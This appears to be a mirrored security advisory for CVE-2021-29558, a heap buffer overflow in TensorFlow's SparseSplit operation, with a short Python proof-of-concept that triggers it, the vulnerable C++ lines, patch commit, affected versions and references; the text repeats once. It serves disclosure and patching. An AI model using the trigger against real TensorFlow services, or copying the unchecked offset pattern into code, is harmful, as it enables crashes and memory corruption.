Advisoriesby IbisHeap buffer overflow in `SparseSplit`
Impact
An attacker can cause a heap buffer overflow in tf.raw_ops.SparseSplit:
```python
import tensorflow as tf
shape_dims = tf.constant(0, dtype=tf.int64)
indices = tf.ones([1, 1], dtype=tf.int64)
values = tf.ones([1], dtype=tf.int64)
shape = tf.ones([1], dtype=tf.int64)
tf.raw_ops.SparseSplit(
split_dim=shape_dims, indices=indices, values=values,
shape=shape, num_split=1)
`
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/699bff5d961f0abfde8fa3f876e6d241681fbef8/tensorflow/core/util/sparse/sparse_tensor.h#L528-L530) accesses an array element based on a user controlled offset:
```cc
const int dim = input_tensor.indices().matrix<int64>()(i, split_dim);
int slice_index = GetSliceIndex(dim, split_size, residual);
num_values[slice_index]++;
`
This results in overriding values on the heap.
Patches
We have patched the issue in GitHub commit [8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31](https://github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.1.4 | 2.1.4 |
| >= 2.2.0, < 2.2.3 | 2.2.3 | |
| >= 2.3.0, < 2.3.3 | 2.3.3 | |
| >= 2.4.0, < 2.4.2 | 2.4.2 |
Details and references
### Impact An attacker can cause a heap buffer overflow in `tf.raw_ops.SparseSplit`: ```python import tensorflow as tf shape_dims = tf.constant(0, dtype=tf.int64) indices = tf.ones([1, 1], dtype=tf.int64) values = tf.ones([1], dtype=tf.int64) shape = tf.ones([1], dtype=tf.int64) tf.raw_ops.SparseSplit( split_dim=shape_dims, indices=indices, values=values, shape=shape, num_split=1) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/699bff5d961f0abfde8fa3f876e6d241681fbef8/tensorflow/core/util/sparse/sparse_tensor.h#L528-L530) accesses an array element based on a user controlled offset: ```cc const int dim = input_tensor.indices().matrix<int64>()(i, split_dim); int slice_index = GetSliceIndex(dim, split_size, residual); num_values[slice_index]++; ``` This results in overriding values on the heap. ### Patches We have patched the issue in GitHub commit [8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31](https://github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
- CVSS 3.1
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-787
- Also known as
- BIT-tensorflow-2021-29558, CVE-2021-29558, PYSEC-2021-195, PYSEC-2021-486, PYSEC-2021-684
- github.com/tensorflow/tensorflow/security/advisories/GHSA-mqh2-9wrp-vx84
- nvd.nist.gov/vuln/detail/CVE-2021-29558
- github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-486.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-684.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-195.yaml
- github.com/tensorflow/tensorflow
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